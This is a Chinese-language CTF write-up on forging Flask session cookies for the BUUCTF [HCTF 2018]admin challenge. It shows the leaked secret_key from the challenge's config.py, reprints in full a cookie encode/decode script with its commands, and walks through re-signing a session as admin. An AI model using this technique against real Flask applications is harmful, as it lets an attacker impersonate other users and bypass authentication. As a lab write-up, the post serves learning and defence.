前言 本文结合CTF中遇到的题目来说一下session伪造,虽然已经有很多师傅写了,而且写的都特别好,但是还是想自己记录一下,也方便以后复习。ciscn中就有一个session伪造的题,由于之前没有做过就没做出来,还是有点遗憾的。但比较戏剧性的是,上午比赛刚结束,下午刷BUU的时候就遇到了同样的题目。嗐,还是自己太菜,下面就结合BUUCTF 中的[HCTF 2018]admin来说一下,文中比较拙劣的地方还请师傅们指正一下。参考文章
正文 本来这个题是有三种解法的,分别是:flask session伪造、Unicode欺骗、条件竞争。但是由于本篇文章主要讲解flask session伪造,所以就不再讲另外两种方法啦。
因为已经遇到了相似的了,所以也知道是为了拿到admin账号,我就直接注册了,不过ciscn的那个题在注册那里多了一个md5截断爆破,既然这里没有就直接注册。
可以看到已经存在admin用户了,所以先随便注册一个普通用户,不过刚开始还以为是SQL注入,试过以后都不行,看了其他师傅的文章才知道是session伪造。
在将session伪造前需要提一下的是,session一般都是存储在服务器端的,但是由于flask是轻量级的框架,所以让session存储在了客户端的cookie中,也正是因为这个才导致了session伪造的漏洞,从而达到冒充其他用户的目的。
可以看到在更改密码的页面源码里面有GitHub的项目地址
这里直接让源码下载到本地看一下,emmmm,只怪我代码审计能力不行,还是看了其他师傅的文章才找到了flask用来签名的secret_key,就在config.py文件里面
1 2 3 4 5 6 import osclass Config (object ): SECRET_KEY = os.environ.get('SECRET_KEY' ) or 'ckj123' SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:adsl1234@db:3306/test' SQLALCHEMY_TRACK_MODIFICATIONS = True
接下来我们就先让我们登录成功的session复制下来解密,注意得是登录成功以后的
就是response响应包的session值,然后我们就开始解密,解密加密脚本 可以直接从github上面下载,但是有时候github国内访问不了,我这里也在放一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 """ Flask Session Cookie Decoder/Encoder """ __author__ = 'Wilson Sumanang, Alexandre ZANNI' import sysimport zlibfrom itsdangerous import base64_decodeimport astif sys.version_info[0 ] < 3 : raise Exception('Must be using at least Python 3' ) elif sys.version_info[0 ] == 3 and sys.version_info[1 ] < 4 : from abc import ABCMeta, abstractmethod else : from abc import ABC, abstractmethod import argparsefrom flask.sessions import SecureCookieSessionInterfaceclass MockApp (object ): def __init__ (self, secret_key ): self.secret_key = secret_key if sys.version_info[0 ] == 3 and sys.version_info[1 ] < 4 : class FSCM (metaclass=ABCMeta ): def encode (secret_key, session_cookie_structure ): """ Encode a Flask session cookie """ try : app = MockApp(secret_key) session_cookie_structure = dict (ast.literal_eval(session_cookie_structure)) si = SecureCookieSessionInterface() s = si.get_signing_serializer(app) return s.dumps(session_cookie_structure) except Exception as e: return "[Encoding error] {}" .format (e) raise e def decode (session_cookie_value, secret_key=None ): """ Decode a Flask cookie """ try : if (secret_key==None ): compressed = False payload = session_cookie_value if payload.startswith('.' ): compressed = True payload = payload[1 :] data = payload.split("." )[0 ] data = base64_decode(data) if compressed: data = zlib.decompress(data) return data else : app = MockApp(secret_key) si = SecureCookieSessionInterface() s = si.get_signing_serializer(app) return s.loads(session_cookie_value) except Exception as e: return "[Decoding error] {}" .format (e) raise e else : class FSCM (ABC ): def encode (secret_key, session_cookie_structure ): """ Encode a Flask session cookie """ try : app = MockApp(secret_key) session_cookie_structure = dict (ast.literal_eval(session_cookie_structure)) si = SecureCookieSessionInterface() s = si.get_signing_serializer(app) return s.dumps(session_cookie_structure) except Exception as e: return "[Encoding error] {}" .format (e) raise e def decode (session_cookie_value, secret_key=None ): """ Decode a Flask cookie """ try : if (secret_key==None ): compressed = False payload = session_cookie_value if payload.startswith('.' ): compressed = True payload = payload[1 :] data = payload.split("." )[0 ] data = base64_decode(data) if compressed: data = zlib.decompress(data) return data else : app = MockApp(secret_key) si = SecureCookieSessionInterface() s = si.get_signing_serializer(app) return s.loads(session_cookie_value) except Exception as e: return "[Decoding error] {}" .format (e) raise e if __name__ == "__main__" : parser = argparse.ArgumentParser( description='Flask Session Cookie Decoder/Encoder' , epilog="Author : Wilson Sumanang, Alexandre ZANNI" ) subparsers = parser.add_subparsers(help ='sub-command help' , dest='subcommand' ) parser_encode = subparsers.add_parser('encode' , help ='encode' ) parser_encode.add_argument('-s' , '--secret-key' , metavar='<string>' , help ='Secret key' , required=True ) parser_encode.add_argument('-t' , '--cookie-structure' , metavar='<string>' , help ='Session cookie structure' , required=True ) parser_decode = subparsers.add_parser('decode' , help ='decode' ) parser_decode.add_argument('-s' , '--secret-key' , metavar='<string>' , help ='Secret key' , required=False ) parser_decode.add_argument('-c' , '--cookie-value' , metavar='<string>' , help ='Session cookie value' , required=True ) args = parser.parse_args() if (args.subcommand == 'encode' ): if (args.secret_key is not None and args.cookie_structure is not None ): print(FSCM.encode(args.secret_key, args.cookie_structure)) elif (args.subcommand == 'decode' ): if (args.secret_key is not None and args.cookie_value is not None ): print(FSCM.decode(args.cookie_value,args.secret_key)) elif (args.cookie_value is not None ): print(FSCM.decode(args.cookie_value))
我这里放的是python3的脚本,如果想用python2版本的师傅可以自行下载哈。
脚本使用方法
解密: python flask_session_cookie_manager3.py decode -s “secret_key” -c “需要解密的session值”
加密: python flask_session_cookie_manager3.py encode -s “secret_key” -t “需要加密的session值”
可以看到session已经解密为明文了,下面就让解密后的session值复制下来,让用户名改为admin就可以了,再进行加密之后替换掉原来的session值就可以了
在加密的时候让用户名teng 替换为了admin ,然后直接在浏览器中修改一下session值就可以了,也可用bp抓包修改
修改过后刷新一下页面就可以啦
可以看到现在已经是admin用户了,并且flag也出来, 另外两种方法就不在这里写了,感兴趣的师傅可以看前面放的参考的师傅文章链接。
结语 通过这次ciscn又充分认识到自己的技术还是太菜,记录这次做题经历呢也是想更充分了解其中的原理,从而也可以思考一下真实环境下的安全隐患。本文中个人见解错误的地方还请师傅们帮忙指正。
路漫漫其修远兮 ,我的网安之路还很长,加油